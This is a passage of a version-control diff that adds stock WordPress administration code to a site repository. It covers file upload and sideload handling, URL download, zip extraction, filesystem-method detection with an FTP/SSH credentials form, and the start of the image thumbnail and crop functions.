+		while (($file = readdir( $dir ) ) !== false ) {
+			if ( in_array($file, array('.', '..') ) )
+				continue;
+			if ( is_dir( $folder . '/' . $file ) ) {
+				$files2 = list_files( $folder . '/' . $file, $levels - 1);
+				if( $files2 )
+					$files = array_merge($files, $files2 );
+				else
+					$files[] = $folder . '/' . $file . '/';
+			} else {
+				$files[] = $folder . '/' . $file;
+			}
+		}
+	}
+	@closedir( $dir );
+	return $files;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function get_temp_dir() {
+	if ( defined('WP_TEMP_DIR') )
+		return trailingslashit(WP_TEMP_DIR);
+
+	$temp = WP_CONTENT_DIR . '/';
+	if ( is_dir($temp) && is_writable($temp) )
+		return $temp;
+
+	if  ( function_exists('sys_get_temp_dir') )
+		return trailingslashit(sys_get_temp_dir());
+
+	return '/tmp/';
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $filename
+ * @param unknown_type $dir
+ * @return unknown
+ */
+function wp_tempnam($filename = '', $dir = ''){
+	if ( empty($dir) )
+		$dir = get_temp_dir();
+	$filename = basename($filename);
+	if ( empty($filename) )
+		$filename = time();
+
+	$filename = $dir . wp_unique_filename($dir, $filename);
+	touch($filename);
+	return $filename;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $file
+ * @param unknown_type $allowed_files
+ * @return unknown
+ */
+function validate_file_to_edit( $file, $allowed_files = '' ) {
+	$file = stripslashes( $file );
+
+	$code = validate_file( $file, $allowed_files );
+
+	if (!$code )
+		return $file;
+
+	switch ( $code ) {
+		case 1 :
+			wp_die( __('Sorry, can&#8217;t edit files with &#8220;..&#8221; in the name. If you are trying to edit a file in your WordPress home directory, you can just type the name of the file in.' ));
+
+		case 2 :
+			wp_die( __('Sorry, can&#8217;t call files with their real path.' ));
+
+		case 3 :
+			wp_die( __('Sorry, that file cannot be edited.' ));
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param array $file Reference to a single element of $_FILES. Call the function once for each uploaded file.
+ * @param array $overrides Optional. An associative array of names=>values to override default variables with extract( $overrides, EXTR_OVERWRITE ).
+ * @return array On success, returns an associative array of file attributes. On failure, returns $overrides['upload_error_handler'](&$file, $message ) or array( 'error'=>$message ).
+ */
+function wp_handle_upload( &$file, $overrides = false, $time = null ) {
+	// The default error handler.
+	if (! function_exists( 'wp_handle_upload_error' ) ) {
+		function wp_handle_upload_error( &$file, $message ) {
+			return array( 'error'=>$message );
+		}
+	}
+
+	// You may define your own function and pass the name in $overrides['upload_error_handler']
+	$upload_error_handler = 'wp_handle_upload_error';
+
+	// You may define your own function and pass the name in $overrides['unique_filename_callback']
+	$unique_filename_callback = null;
+
+	// $_POST['action'] must be set and its value must equal $overrides['action'] or this:
+	$action = 'wp_handle_upload';
+
+	// Courtesy of php.net, the strings that describe the error indicated in $_FILES[{form field}]['error'].
+	$upload_error_strings = array( false,
+		__( "The uploaded file exceeds the <code>upload_max_filesize</code> directive in <code>php.ini</code>." ),
+		__( "The uploaded file exceeds the <em>MAX_FILE_SIZE</em> directive that was specified in the HTML form." ),
+		__( "The uploaded file was only partially uploaded." ),
+		__( "No file was uploaded." ),
+		'',
+		__( "Missing a temporary folder." ),
+		__( "Failed to write file to disk." ),
+		__( "File upload stopped by extension." ));
+
+	// All tests are on by default. Most can be turned off by $override[{test_name}] = false;
+	$test_form = true;
+	$test_size = true;
+
+	// If you override this, you must provide $ext and $type!!!!
+	$test_type = true;
+	$mimes = false;
+
+	// Install user overrides. Did we mention that this voids your warranty?
+	if ( is_array( $overrides ) )
+		extract( $overrides, EXTR_OVERWRITE );
+
+	// A correct form post will pass this test.
+	if ( $test_form && (!isset( $_POST['action'] ) || ($_POST['action'] != $action ) ) )
+		return $upload_error_handler( $file, __( 'Invalid form submission.' ));
+
+	// A successful upload will pass this test. It makes no sense to override this one.
+	if ( $file['error'] > 0 )
+		return $upload_error_handler( $file, $upload_error_strings[$file['error']] );
+
+	// A non-empty file will pass this test.
+	if ( $test_size && !($file['size'] > 0 ) )
+		return $upload_error_handler( $file, __( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini.' ));
+
+	// A properly uploaded file will pass this test. There should be no reason to override this one.
+	if (! @ is_uploaded_file( $file['tmp_name'] ) )
+		return $upload_error_handler( $file, __( 'Specified file failed upload test.' ));
+
+	// A correct MIME type will pass this test. Override $mimes or use the upload_mimes filter.
+	if ( $test_type ) {
+		$wp_filetype = wp_check_filetype( $file['name'], $mimes );
+
+		extract( $wp_filetype );
+
+		if ( ( !$type || !$ext ) && !current_user_can( 'unfiltered_upload' ) )
+			return $upload_error_handler( $file, __( 'File type does not meet security guidelines. Try another.' ));
+
+		if ( !$ext )
+			$ext = ltrim(strrchr($file['name'], '.'), '.');
+
+		if ( !$type )
+			$type = $file['type'];
+	} else {
+		$type = '';
+	}
+
+	// A writable uploads dir will pass this test. Again, there's no point overriding this one.
+	if ( ! ( ( $uploads = wp_upload_dir($time) ) && false === $uploads['error'] ) )
+		return $upload_error_handler( $file, $uploads['error'] );
+
+	$filename = wp_unique_filename( $uploads['path'], $file['name'], $unique_filename_callback );
+
+	// Move the file to the uploads dir
+	$new_file = $uploads['path'] . "/$filename";
+	if ( false === @ move_uploaded_file( $file['tmp_name'], $new_file ) ) {
+		return $upload_error_handler( $file, sprintf( __('The uploaded file could not be moved to %s.' ), $uploads['path'] ) );
+	}
+
+	// Set correct file permissions
+	$stat = stat( dirname( $new_file ));
+	$perms = $stat['mode'] & 0000666;
+	@ chmod( $new_file, $perms );
+
+	// Compute the URL
+	$url = $uploads['url'] . "/$filename";
+
+	return apply_filters( 'wp_handle_upload', array( 'file' => $new_file, 'url' => $url, 'type' => $type ) );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * Pass this function an array similar to that of a $_FILES POST array.
+ *
+ * @since unknown
+ *
+ * @param unknown_type $file
+ * @param unknown_type $overrides
+ * @return unknown
+ */
+function wp_handle_sideload( &$file, $overrides = false ) {
+	// The default error handler.
+	if (! function_exists( 'wp_handle_upload_error' ) ) {
+		function wp_handle_upload_error( &$file, $message ) {
+			return array( 'error'=>$message );
+		}
+	}
+
+	// You may define your own function and pass the name in $overrides['upload_error_handler']
+	$upload_error_handler = 'wp_handle_upload_error';
+
+	// You may define your own function and pass the name in $overrides['unique_filename_callback']
+	$unique_filename_callback = null;
+
+	// $_POST['action'] must be set and its value must equal $overrides['action'] or this:
+	$action = 'wp_handle_sideload';
+
+	// Courtesy of php.net, the strings that describe the error indicated in $_FILES[{form field}]['error'].
+	$upload_error_strings = array( false,
+		__( "The uploaded file exceeds the <code>upload_max_filesize</code> directive in <code>php.ini</code>." ),
+		__( "The uploaded file exceeds the <em>MAX_FILE_SIZE</em> directive that was specified in the HTML form." ),
+		__( "The uploaded file was only partially uploaded." ),
+		__( "No file was uploaded." ),
+		'',
+		__( "Missing a temporary folder." ),
+		__( "Failed to write file to disk." ),
+		__( "File upload stopped by extension." ));
+
+	// All tests are on by default. Most can be turned off by $override[{test_name}] = false;
+	$test_form = true;
+	$test_size = true;
+
+	// If you override this, you must provide $ext and $type!!!!
+	$test_type = true;
+	$mimes = false;
+
+	// Install user overrides. Did we mention that this voids your warranty?
+	if ( is_array( $overrides ) )
+		extract( $overrides, EXTR_OVERWRITE );
+
+	// A correct form post will pass this test.
+	if ( $test_form && (!isset( $_POST['action'] ) || ($_POST['action'] != $action ) ) )
+		return $upload_error_handler( $file, __( 'Invalid form submission.' ));
+
+	// A successful upload will pass this test. It makes no sense to override this one.
+	if ( $file['error'] > 0 )
+		return $upload_error_handler( $file, $upload_error_strings[$file['error']] );
+
+	// A non-empty file will pass this test.
+	if ( $test_size && !(filesize($file['tmp_name']) > 0 ) )
+		return $upload_error_handler( $file, __( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini.' ));
+
+	// A properly uploaded file will pass this test. There should be no reason to override this one.
+	if (! @ is_file( $file['tmp_name'] ) )
+		return $upload_error_handler( $file, __( 'Specified file does not exist.' ));
+
+	// A correct MIME type will pass this test. Override $mimes or use the upload_mimes filter.
+	if ( $test_type ) {
+		$wp_filetype = wp_check_filetype( $file['name'], $mimes );
+
+		extract( $wp_filetype );
+
+		if ( ( !$type || !$ext ) && !current_user_can( 'unfiltered_upload' ) )
+			return $upload_error_handler( $file, __( 'File type does not meet security guidelines. Try another.' ));
+
+		if ( !$ext )
+			$ext = ltrim(strrchr($file['name'], '.'), '.');
+
+		if ( !$type )
+			$type = $file['type'];
+	}
+
+	// A writable uploads dir will pass this test. Again, there's no point overriding this one.
+	if ( ! ( ( $uploads = wp_upload_dir() ) && false === $uploads['error'] ) )
+		return $upload_error_handler( $file, $uploads['error'] );
+
+	$filename = wp_unique_filename( $uploads['path'], $file['name'], $unique_filename_callback );
+
+	// Strip the query strings.
+	$filename = str_replace('?','-', $filename);
+	$filename = str_replace('&','-', $filename);
+
+	// Move the file to the uploads dir
+	$new_file = $uploads['path'] . "/$filename";
+	if ( false === @ rename( $file['tmp_name'], $new_file ) ) {
+		return $upload_error_handler( $file, sprintf( __('The uploaded file could not be moved to %s.' ), $uploads['path'] ) );
+	}
+
+	// Set correct file permissions
+	$stat = stat( dirname( $new_file ));
+	$perms = $stat['mode'] & 0000666;
+	@ chmod( $new_file, $perms );
+
+	// Compute the URL
+	$url = $uploads['url'] . "/$filename";
+
+	$return = apply_filters( 'wp_handle_upload', array( 'file' => $new_file, 'url' => $url, 'type' => $type ) );
+
+	return $return;
+}
+
+/**
+ * Downloads a url to a local file using the Snoopy HTTP Class.
+ *
+ * @since unknown
+ * @todo Transition over to using the new HTTP Request API (jacob).
+ *
+ * @param string $url the URL of the file to download
+ * @return mixed WP_Error on failure, string Filename on success.
+ */
+function download_url( $url ) {
+	//WARNING: The file is not automatically deleted, The script must unlink() the file.
+	if ( ! $url )
+		return new WP_Error('http_no_url', __('Invalid URL Provided'));
+
+	$tmpfname = wp_tempnam($url);
+	if ( ! $tmpfname )
+		return new WP_Error('http_no_file', __('Could not create Temporary file'));
+
+	$handle = @fopen($tmpfname, 'wb');
+	if ( ! $handle )
+		return new WP_Error('http_no_file', __('Could not create Temporary file'));
+
+	$response = wp_remote_get($url, array('timeout' => 60));
+
+	if ( is_wp_error($response) ) {
+		fclose($handle);
+		unlink($tmpfname);
+		return $response;
+	}
+
+	if ( $response['response']['code'] != '200' ){
+		fclose($handle);
+		unlink($tmpfname);
+		return new WP_Error('http_404', trim($response['response']['message']));
+	}
+
+	fwrite($handle, $response['body']);
+	fclose($handle);
+
+	return $tmpfname;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $file
+ * @param unknown_type $to
+ * @return unknown
+ */
+function unzip_file($file, $to) {
+	global $wp_filesystem;
+
+	if ( ! $wp_filesystem || !is_object($wp_filesystem) )
+		return new WP_Error('fs_unavailable', __('Could not access filesystem.'));
+
+	// Unzip uses a lot of memory
+	@ini_set('memory_limit', '256M');
+
+	$fs =& $wp_filesystem;
+
+	require_once(ABSPATH . 'wp-admin/includes/class-pclzip.php');
+
+	$archive = new PclZip($file);
+
+	// Is the archive valid?
+	if ( false == ($archive_files = $archive->extract(PCLZIP_OPT_EXTRACT_AS_STRING)) )
+		return new WP_Error('incompatible_archive', __('Incompatible archive'), $archive->errorInfo(true));
+
+	if ( 0 == count($archive_files) )
+		return new WP_Error('empty_archive', __('Empty archive'));
+
+	$path = explode('/', untrailingslashit($to));
+	for ( $i = count($path); $i > 0; $i-- ) { //>0 = first element is empty allways for paths starting with '/'
+		$tmppath = implode('/', array_slice($path, 0, $i) );
+		if ( $fs->is_dir($tmppath) ) { //Found the highest folder that exists, Create from here(ie +1)
+			for ( $i = $i + 1; $i <= count($path); $i++ ) {
+				$tmppath = implode('/', array_slice($path, 0, $i) );
+				if ( ! $fs->mkdir($tmppath, FS_CHMOD_DIR) )
+					return new WP_Error('mkdir_failed', __('Could not create directory'), $tmppath);
+			}
+			break; //Exit main for loop
+		}
+	}
+
+	$to = trailingslashit($to);
+	foreach ($archive_files as $file) {
+		$path = $file['folder'] ? $file['filename'] : dirname($file['filename']);
+		$path = explode('/', $path);
+		for ( $i = count($path); $i >= 0; $i-- ) { //>=0 as the first element contains data
+			if ( empty($path[$i]) )
+				continue;
+			$tmppath = $to . implode('/', array_slice($path, 0, $i) );
+			if ( $fs->is_dir($tmppath) ) {//Found the highest folder that exists, Create from here
+				for ( $i = $i + 1; $i <= count($path); $i++ ) { //< count() no file component please.
+					$tmppath = $to . implode('/', array_slice($path, 0, $i) );
+					if ( ! $fs->is_dir($tmppath) && ! $fs->mkdir($tmppath, FS_CHMOD_DIR) )
+						return new WP_Error('mkdir_failed', __('Could not create directory'), $tmppath);
+				}
+				break; //Exit main for loop
+			}
+		}
+
+		// We've made sure the folders are there, so let's extract the file now:
+		if ( ! $file['folder'] ) {
+			if ( !$fs->put_contents( $to . $file['filename'], $file['content']) )
+				return new WP_Error('copy_failed', __('Could not copy file'), $to . $file['filename']);
+			$fs->chmod($to . $file['filename'], FS_CHMOD_FILE);
+		}
+	}
+	return true;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $from
+ * @param unknown_type $to
+ * @return unknown
+ */
+function copy_dir($from, $to) {
+	global $wp_filesystem;
+
+	$dirlist = $wp_filesystem->dirlist($from);
+
+	$from = trailingslashit($from);
+	$to = trailingslashit($to);
+
+	foreach ( (array) $dirlist as $filename => $fileinfo ) {
+		if ( 'f' == $fileinfo['type'] ) {
+			if ( ! $wp_filesystem->copy($from . $filename, $to . $filename, true) ) {
+				// If copy failed, chmod file to 0644 and try again.
+				$wp_filesystem->chmod($to . $filename, 0644);
+				if ( ! $wp_filesystem->copy($from . $filename, $to . $filename, true) )
+					return new WP_Error('copy_failed', __('Could not copy file'), $to . $filename);
+			}
+			$wp_filesystem->chmod($to . $filename, FS_CHMOD_FILE);
+		} elseif ( 'd' == $fileinfo['type'] ) {
+			if ( !$wp_filesystem->is_dir($to . $filename) ) {
+				if ( !$wp_filesystem->mkdir($to . $filename, FS_CHMOD_DIR) )
+					return new WP_Error('mkdir_failed', __('Could not create directory'), $to . $filename);
+			}
+			$result = copy_dir($from . $filename, $to . $filename);
+			if ( is_wp_error($result) )
+				return $result;
+		}
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $args
+ * @return unknown
+ */
+function WP_Filesystem( $args = false, $context = false ) {
+	global $wp_filesystem;
+
+	require_once(ABSPATH . 'wp-admin/includes/class-wp-filesystem-base.php');
+
+	$method = get_filesystem_method($args, $context);
+
+	if ( ! $method )
+		return false;
+
+	if ( ! class_exists("WP_Filesystem_$method") ) {
+		$abstraction_file = apply_filters('filesystem_method_file', ABSPATH . 'wp-admin/includes/class-wp-filesystem-' . $method . '.php', $method);
+		if( ! file_exists($abstraction_file) )
+			return;
+	
+		require_once($abstraction_file);
+	}
+	$method = "WP_Filesystem_$method";
+
+	$wp_filesystem = new $method($args);
+
+	if ( is_wp_error($wp_filesystem->errors) && $wp_filesystem->errors->get_error_code() )
+		return false;
+
+	if ( !$wp_filesystem->connect() )
+		return false; //There was an erorr connecting to the server.
+
+	// Set the permission constants if not already set.
+	if ( ! defined('FS_CHMOD_DIR') )
+		define('FS_CHMOD_DIR', 0755 );
+	if ( ! defined('FS_CHMOD_FILE') )
+		define('FS_CHMOD_FILE', 0644 );
+
+	return true;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $args
+ * @param string $context Full path to the directory that is tested for being writable.
+ * @return unknown
+ */
+function get_filesystem_method($args = array(), $context = false) {
+	$method = defined('FS_METHOD') ? FS_METHOD : false; //Please ensure that this is either 'direct', 'ssh', 'ftpext' or 'ftpsockets'
+
+	if( ! $method && function_exists('getmyuid') && function_exists('fileowner') ){
+		if ( !$context )
+			$context = WP_CONTENT_DIR;
+		$context = trailingslashit($context);
+		$temp_file_name = $context . '.write-test-' . time();
+		$temp_handle = @fopen($temp_file_name, 'w');
+		if ( $temp_handle ) {
+			if ( getmyuid() == fileowner($temp_file_name) )
+				$method = 'direct';
+			@fclose($temp_handle);
+			unlink($temp_file_name);
+		}
+ 	}
+
+	if ( ! $method && isset($args['connection_type']) && 'ssh' == $args['connection_type'] && extension_loaded('ssh2') && function_exists('stream_get_contents') ) $method = 'ssh2';
+	if ( ! $method && extension_loaded('ftp') ) $method = 'ftpext';
+	if ( ! $method && ( extension_loaded('sockets') || function_exists('fsockopen') ) ) $method = 'ftpsockets'; //Sockets: Socket extension; PHP Mode: FSockopen / fwrite / fread
+	return apply_filters('filesystem_method', $method, $args);
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $form_post
+ * @param unknown_type $type
+ * @param unknown_type $error
+ * @return unknown
+ */
+function request_filesystem_credentials($form_post, $type = '', $error = false, $context = false) {
+	$req_cred = apply_filters('request_filesystem_credentials', '', $form_post, $type, $error, $context);
+	if ( '' !== $req_cred )
+		return $req_cred;
+
+	if ( empty($type) )
+		$type = get_filesystem_method(array(), $context);
+
+	if ( 'direct' == $type )
+		return true;
+
+	$credentials = get_option('ftp_credentials', array( 'hostname' => '', 'username' => ''));
+
+	// If defined, set it to that, Else, If POST'd, set it to that, If not, Set it to whatever it previously was(saved details in option)
+	$credentials['hostname'] = defined('FTP_HOST') ? FTP_HOST : (!empty($_POST['hostname']) ? $_POST['hostname'] : $credentials['hostname']);
+	$credentials['username'] = defined('FTP_USER') ? FTP_USER : (!empty($_POST['username']) ? $_POST['username'] : $credentials['username']);
+	$credentials['password'] = defined('FTP_PASS') ? FTP_PASS : (!empty($_POST['password']) ? $_POST['password'] : '');
+
+	// Check to see if we are setting the public/private keys for ssh
+	$credentials['public_key'] = defined('FTP_PUBKEY') ? FTP_PUBKEY : (!empty($_POST['public_key']) ? $_POST['public_key'] : '');
+	$credentials['private_key'] = defined('FTP_PRIKEY') ? FTP_PRIKEY : (!empty($_POST['private_key']) ? $_POST['private_key'] : '');
+
+	//sanitize the hostname, Some people might pass in odd-data:
+	$credentials['hostname'] = preg_replace('|\w+://|', '', $credentials['hostname']); //Strip any schemes off
+
+	if ( strpos($credentials['hostname'], ':') )
+		list( $credentials['hostname'], $credentials['port'] ) = explode(':', $credentials['hostname'], 2);
+	else
+		unset($credentials['port']);
+
+	if ( defined('FTP_SSH') || (defined('FS_METHOD') && 'ssh' == FS_METHOD) )
+		$credentials['connection_type'] = 'ssh';
+	else if ( defined('FTP_SSL') && 'ftpext' == $type ) //Only the FTP Extension understands SSL
+		$credentials['connection_type'] = 'ftps';
+	else if ( !empty($_POST['connection_type']) )
+		$credentials['connection_type'] = $_POST['connection_type'];
+	else if ( !isset($credentials['connection_type']) ) //All else fails (And its not defaulted to something else saved), Default to FTP
+		$credentials['connection_type'] = 'ftp';
+
+	if ( ! $error &&
+			(
+				( !empty($credentials['password']) && !empty($credentials['username']) && !empty($credentials['hostname']) ) ||
+				( 'ssh' == $credentials['connection_type'] && !empty($credentials['public_key']) && !empty($credentials['private_key']) )
+			) ) {
+		$stored_credentials = $credentials;
+		if ( !empty($stored_credentials['port']) ) //save port as part of hostname to simplify above code.
+			$stored_credentials['hostname'] .= ':' . $stored_credentials['port'];
+
+		unset($stored_credentials['password'], $stored_credentials['port'], $stored_credentials['private_key'], $stored_credentials['public_key']);
+		update_option('ftp_credentials', $stored_credentials);
+		return $credentials;
+	}
+	$hostname = '';
+	$username = '';
+	$password = '';
+	$connection_type = '';
+	if ( !empty($credentials) )
+		extract($credentials, EXTR_OVERWRITE);
+	if ( $error ) {
+		$error_string = __('<strong>Error:</strong> There was an error connecting to the server, Please verify the settings are correct.');
+		if ( is_wp_error($error) )
+			$error_string = $error->get_error_message();
+		echo '<div id="message" class="error"><p>' . $error_string . '</p></div>';
+	}
+?>
+<script type="text/javascript">
+<!--
+jQuery(function($){
+	jQuery("#ssh").click(function () {
+		jQuery("#ssh_keys").show();
+	});
+	jQuery("#ftp, #ftps").click(function () {
+		jQuery("#ssh_keys").hide();
+	});
+	jQuery('form input[value=""]:first').focus();
+});
+-->
+</script>
+<form action="<?php echo $form_post ?>" method="post">
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php _e('Connection Information') ?></h2>
+<p><?php _e('To perform the requested action, connection information is required.') ?></p>
+
+<table class="form-table">
+<tr valign="top">
+<th scope="row"><label for="hostname"><?php _e('Hostname') ?></label></th>
+<td><input name="hostname" type="text" id="hostname" value="<?php echo esc_attr($hostname); if ( !empty($port) ) echo ":$port"; ?>"<?php if( defined('FTP_HOST') ) echo ' disabled="disabled"' ?> size="40" /></td>
+</tr>
+
+<tr valign="top">
+<th scope="row"><label for="username"><?php _e('Username') ?></label></th>
+<td><input name="username" type="text" id="username" value="<?php echo esc_attr($username) ?>"<?php if( defined('FTP_USER') ) echo ' disabled="disabled"' ?> size="40" /></td>
+</tr>
+
+<tr valign="top">
+<th scope="row"><label for="password"><?php _e('Password') ?></label></th>
+<td><input name="password" type="password" id="password" value="<?php if ( defined('FTP_PASS') ) echo '*****'; ?>"<?php if ( defined('FTP_PASS') ) echo ' disabled="disabled"' ?> size="40" /></td>
+</tr>
+
+<?php if ( extension_loaded('ssh2') && function_exists('stream_get_contents') ) : ?>
+<tr id="ssh_keys" valign="top" style="<?php if ( 'ssh' != $connection_type ) echo 'display:none' ?>">
+<th scope="row"><?php _e('Authentication Keys') ?>
+<div class="key-labels textright">
+<label for="public_key"><?php _e('Public Key:') ?></label ><br />
+<label for="private_key"><?php _e('Private Key:') ?></label>
+</div></th>
+<td><br /><input name="public_key" type="text" id="public_key" value="<?php echo esc_attr($public_key) ?>"<?php if( defined('FTP_PUBKEY') ) echo ' disabled="disabled"' ?> size="40" /><br /><input name="private_key" type="text" id="private_key" value="<?php echo esc_attr($private_key) ?>"<?php if( defined('FTP_PRIKEY') ) echo ' disabled="disabled"' ?> size="40" />
+<div><?php _e('Enter the location on the server where the keys are located. If a passphrase is needed, enter that in the password field above.') ?></div></td>
+</tr>
+<?php endif; ?>
+
+<tr valign="top">
+<th scope="row"><?php _e('Connection Type') ?></th>
+<td>
+<fieldset><legend class="screen-reader-text"><span><?php _e('Connection Type') ?></span></legend>
+<label><input id="ftp" name="connection_type"  type="radio" value="ftp" <?php checked('ftp', $connection_type); if ( defined('FTP_SSL') || defined('FTP_SSH') ) echo ' disabled="disabled"'; ?>/> <?php _e('FTP') ?></label>
+<?php if ( 'ftpext' == $type ) : ?>
+<br /><label><input id="ftps" name="connection_type" type="radio" value="ftps" <?php checked('ftps', $connection_type); if ( defined('FTP_SSL') || defined('FTP_SSH') ) echo ' disabled="disabled"';  ?>/> <?php _e('FTPS (SSL)') ?></label>
+<?php endif; ?>
+<?php if ( extension_loaded('ssh2') && function_exists('stream_get_contents') ) : ?>
+<br /><label><input id="ssh" name="connection_type" type="radio" value="ssh" <?php checked('ssh', $connection_type);  if ( defined('FTP_SSL') || defined('FTP_SSH') ) echo ' disabled="disabled"'; ?>/> <?php _e('SSH') ?></label>
+<?php endif; ?>
+</fieldset>
+</td>
+</tr>
+</table>
+
+<?php if ( isset( $_POST['version'] ) ) : ?>
+<input type="hidden" name="version" value="<?php echo esc_attr($_POST['version']) ?>" />
+<?php endif; ?>
+<?php if ( isset( $_POST['locale'] ) ) : ?>
+<input type="hidden" name="locale" value="<?php echo esc_attr($_POST['locale']) ?>" />
+<?php endif; ?>
+<p class="submit">
+<input id="upgrade" name="upgrade" type="submit" class="button" value="<?php esc_attr_e('Proceed'); ?>" />
+</p>
+</div>
+</form>
+<?php
+	return false;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/image.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/image.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/image.php	(revision 44)
@@ -0,0 +1,330 @@
+<?php
+/**
+ * File contains all the administration image manipulation functions.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Create a thumbnail from an Image given a maximum side size.
+ *
+ * This function can handle most image file formats which PHP supports. If PHP
+ * does not have the functionality to save in a file of the same format, the
+ * thumbnail will be created as a jpeg.
+ *
+ * @since 1.2.0
+ *
+ * @param mixed $file Filename of the original image, Or attachment id.
+ * @param int $max_side Maximum length of a single side for the thumbnail.
+ * @return string Thumbnail path on success, Error string on failure.
+ */
+function wp_create_thumbnail( $file, $max_side, $deprecated = '' ) {
+	$thumbpath = image_resize( $file, $max_side, $max_side );
+	return apply_filters( 'wp_create_thumbnail', $thumbpath );
+}
+
+/**
+ * Crop an Image to a given size.
+ *
+ * @since 2.1.0
+ *
+ * @param string|int $src_file The source file or Attachment ID.
+ * @param int $src_x The start x position to crop from.
+ * @param int $src_y The start y position to crop from.
+ * @param int $src_w The width to crop.
+ * @param int $src_h The height to crop.
+ * @param int $dst_w The destination width.
+ * @param int $dst_h The destination height.
+ * @param int $src_abs Optional. If the source crop points are absolute.
+ * @param string $dst_file Optional. The destination file to write to.
+ * @return string New filepath on success, String error message on failure.
+ */
+function wp_crop_image( $src_file, $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs = false, $dst_file = false ) {
+	if ( is_numeric( $src_file ) ) // Handle int as attachment ID
+		$src_file = get_attached_file( $src_file );
+
+	$src = wp_load_image( $src_file );
+
+	if ( !is_resource( $src ))
+		return $src;
+
+	$dst = imagecreatetruecolor( $dst_w, $dst_h );
+
+	if ( $src_abs ) {
+		$src_w -= $src_x;
+		$src_h -= $src_y;
+	}
+
+	if (function_exists('imageantialias'))
+		imageantialias( $dst, true );
+
+	imagecopyresampled( $dst, $src, 0, 0, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h );
+
+	imagedestroy( $src ); // Free up memory
+
+	if ( ! $dst_file )
+		$dst_file = str_replace( basename( $src_file ), 'cropped-' . basename( $src_file ), $src_file );
+
+	$dst_file = preg_replace( '/\\.[^\\.]+$/', '.jpg', $dst_file );
+
+	if ( imagejpeg( $dst, $dst_file, apply_filters( 'jpeg_quality', 90, 'wp_crop_image' ) ) )
+		return $dst_file;
+	else
+		return false;
+}
+
+/**
+ * Generate post image attachment meta data.
+ *
+ * @since 2.1.0
+ *
+ * @param int $attachment_id Attachment Id to process.
+ * @param string $file Filepath of the Attached image.
+ * @return mixed Metadata for attachment.
+ */
+function wp_generate_attachment_metadata( $attachment_id, $file ) {
+	$attachment = get_post( $attachment_id );
+
+	$metadata = array();
+	if ( preg_match('!^image/!', get_post_mime_type( $attachment )) && file_is_displayable_image($file) ) {
+		$full_path_file = $file;
+		$imagesize = getimagesize( $full_path_file );
+		$metadata['width'] = $imagesize[0];
+		$metadata['height'] = $imagesize[1];
+		list($uwidth, $uheight) = wp_shrink_dimensions($metadata['width'], $metadata['height']);
+		$metadata['hwstring_small'] = "height='$uheight' width='$uwidth'";
+
+		// Make the file path relative to the upload dir
+		if ( ($uploads = wp_upload_dir()) && false === $uploads['error'] ) { // Get upload directory
+			if ( 0 === strpos($file, $uploads['basedir']) ) {// Check that the upload base exists in the file path
+				$file = str_replace($uploads['basedir'], '', $file); // Remove upload dir from the file path
+				$file = ltrim($file, '/');
+			}
+		}
+		$metadata['file'] = $file;
+
+		// make thumbnails and other intermediate sizes
+		$sizes = array('thumbnail', 'medium', 'large');
+		$sizes = apply_filters('intermediate_image_sizes', $sizes);
+
+		foreach ($sizes as $size) {
+			$resized = image_make_intermediate_size( $full_path_file, get_option("{$size}_size_w"), get_option("{$size}_size_h"), get_option("{$size}_crop") );
+			if ( $resized )
+				$metadata['sizes'][$size] = $resized;
+		}
+
+		// fetch additional metadata from exif/iptc
+		$image_meta = wp_read_image_metadata( $full_path_file );
+		if ($image_meta)
+			$metadata['image_meta'] = $image_meta;
+
+	}
+
+	return apply_filters( 'wp_generate_attachment_metadata', $metadata );
+}
+
+/**
+ * Load an image from a string, if PHP supports it.
+ *
+ * @since 2.1.0
+ *
+ * @param string $file Filename of the image to load.
+ * @return resource The resulting image resource on success, Error string on failure.
+ */
+function wp_load_image( $file ) {
+	if ( is_numeric( $file ) )
+		$file = get_attached_file( $file );
+
+	if ( ! file_exists( $file ) )
+		return sprintf(__('File &#8220;%s&#8221; doesn&#8217;t exist?'), $file);
+
+	if ( ! function_exists('imagecreatefromstring') )
+		return __('The GD image library is not installed.');
+
+	// Set artificially high because GD uses uncompressed images in memory
+	@ini_set('memory_limit', '256M');
+	$image = imagecreatefromstring( file_get_contents( $file ) );
+
+	if ( !is_resource( $image ) )
+		return sprintf(__('File &#8220;%s&#8221; is not an image.'), $file);
+
+	return $image;
+}
+
+/**
+ * Calculated the new dimentions for a downsampled image.
+ *
+ * @since 2.0.0
+ * @see wp_shrink_dimensions()
+ *
+ * @param int $width Current width of the image
+ * @param int $height Current height of the image
+ * @return mixed Array(height,width) of shrunk dimensions.
+ */
+function get_udims( $width, $height) {
+	return wp_shrink_dimensions( $width, $height );
+}
+
+/**
+ * Calculates the new dimentions for a downsampled image.
+ *
+ * @since 2.0.0
+ * @see wp_constrain_dimensions()
+ *
+ * @param int $width Current width of the image
+ * @param int $height Current height of the image
+ * @param int $wmax Maximum wanted width
+ * @param int $hmax Maximum wanted height
+ * @return mixed Array(height,width) of shrunk dimensions.
+ */
+function wp_shrink_dimensions( $width, $height, $wmax = 128, $hmax = 96 ) {
